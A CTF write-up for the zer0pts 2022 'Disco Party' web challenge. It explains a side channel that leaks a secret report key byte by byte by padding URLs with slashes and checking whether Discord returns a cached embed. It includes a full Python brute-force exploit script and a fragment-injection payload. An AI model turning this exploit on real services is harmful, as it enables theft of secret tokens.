# Disco Party/Festival - zer0pts CTF 2022 ###### tags: `writeup` `zer0pts CTF 2022` `web` Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9 # Overview - You can report the URL of the post to the admin by `Discord` - The URL is sanitized - Query string and hash is not allowed - different host is not allowed - The URL should be mapped to the `get_post` - The post ID of the URL should be valid - The URL is posted by putting the secret key that is unique for the post id - detailed format is: `f"URL: {url}?key={key}\nReason: {reason}"` - Your message is truncated by 2000 chars - due to the message length limit - You can't create the hundreds of report - reCAPTCHA is required - Your objective is to obtain the secret key # Solution ## Sumamry Add ~2000 / to the URL path so that each time we can only include 1 byte of the unknown key into the URL. Discord will cache the preview result for an already visited URL. A cached URL will have an embed attribute in the return value of the send API. Then we can leak key byte by byte using this side channel. (This summary credits to [@Q7](https://discord.com/channels/814766309866471424/955073023944318997/955125005807681646). Thanks for solving and concise summary!) ## Details Checking whether the URL is mapped or not is checked by `werkzeug.routing.MapAdapeter.match(path)` method. Since this is the internal method used by Flask, you can't spoof this mapping. This method checks the path with regex internally constructed. Regex that generated by rule `/post/<string(length=16):id>` is this: `r'^\|/+?post/+?(?P<id>[^/]{16})$'`. From this regex, the URL that `/` was added to the head of the path will be accepted. Using this, You can post a very long URL. Combined with the fact that this application truncate the message by 2000 chars, You can post the URL like `http://party.ctf.zer0pts.com:8007/// ... ///post/0123456789abcdef?key=A` When the bot posts a URL to the Discord, Discord shows the panel that the information of the sites is written. While generating this requires the request to the URL, Discord internally held the cache of this information. ![](https://i.imgur.com/gQKrRsm.png) You can determine whether the URL is cached or not by viewing the response of [Create Message](https://discord.com/developers/docs/resources/channel#create-message). (Note that this is not documented behavior.) ```python In [1]: import discord ...: import asyncio ...: from time import sleep ...: ...: channel_id = **** ...: discord_secret = **** ...: ...: client = discord.Client() ...: channel = None ...: ...: @client.event ...: async def on_ready(): ...: global channel ...: channel = client.get_channel(channel_id) ...: assert channel is not None ...: ...: loop = asyncio.get_event_loop() ...: loop.create_task(client.start(discord_secret)) In [2]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds Out[2]: [] In [3]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds Out[3]: [<discord.embeds.Embed at 0x7fffedf00160>] In [4]: loop.run_until_complete(channel.send("https://www.google.com/?zer0pts")).embeds Out[4]: [<discord.embeds.Embed at 0x7ffff41df3a0>] ``` This means you can leak the secret key one by one using this oracle. ### Exploit ```python= import os from pydoc import cli import string import requests import discord import asyncio import threading import base64 from time import sleep # connection info HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", "8017") NETLOC = f'{HOST}:{PORT}' channel_id = **** discord_secret = **** # discord client = discord.Client() channel = None @client.event async def on_ready(): global channel print(f"We've logged in as {client.user}") channel = client.get_channel(channel_id) if channel is None: print("failed to get channel") exit(1) discord_loop = asyncio.get_event_loop() discord_loop.create_task(client.start(discord_secret)) threading.Thread(target=discord_loop.run_forever).start() MESSAGE_LENGTH_LIMIT = 2000 def send_message(message): assert channel is not None task = asyncio.ensure_future(channel.send(message), loop=discord_loop) while not task.done(): sleep(0.5) return task.result() while not client.is_ready(): sleep(0.5) URLSAFE_BASE64_CHARS = string.ascii_letters + string.digits + "-_" ID_LEN = 16 KEY_LEN = 10 FILL_LEN = MESSAGE_LENGTH_LIMIT - len(f"url: http://{netloc}post/{'a' * ID_LEN}?key=") def get_url(id, leak_num): assert(len(id) == ID_LEN) url = f"http://{netloc}{'/' * (FILL_LEN - leak_num)}post/{id}" return url post_id = requests.post( f"http://{netloc}/api/new", { "title": "hey", "content": "hello" } ).json()["action"].split('/')[-1] print(f'[+] {post_id=}') current_key = '' while len(current_key) < KEY_LEN: report_url = get_url(post_id, len(current_key) + 1) input(f"[*] please report this url: {report_url}\n> ") print("[+] searching", end="", flush=True) for c in URLSAFE_BASE64_CHARS: posted_url = f'{report_url}?key={current_key}{c}' res = send_message(posted_url) print(".", end="", flush=True) if not res.embeds: continue print() current_key += c print(f"[+] found, {current_key=}") break else: print("[!] Key Not found") exit(1) post = requests.get( f"http://{netloc}/post/{post_id}?key={current_key}" ).content assert b"Your flag is: " in post flag = post.split(b'Your flag is: ')[1].split(b'</strong>')[0] print(flag) ``` ## Unintended Unfortunately, the first problem(Disco Party) had two non-intended vulnerability. The first one was the lack of sanitizing of fragments and query strings. By exploiting this, you could send any URL you wanted with a payload like the following: `http://party.ctf.zer0pts.com:8007/post/0123456789abcdef# http://example.com/`. The second one was checking for the host by using the A variable. Since this depends on the Host header, you can set anything to this variable. We sincerely apologize for releasing two similar problems.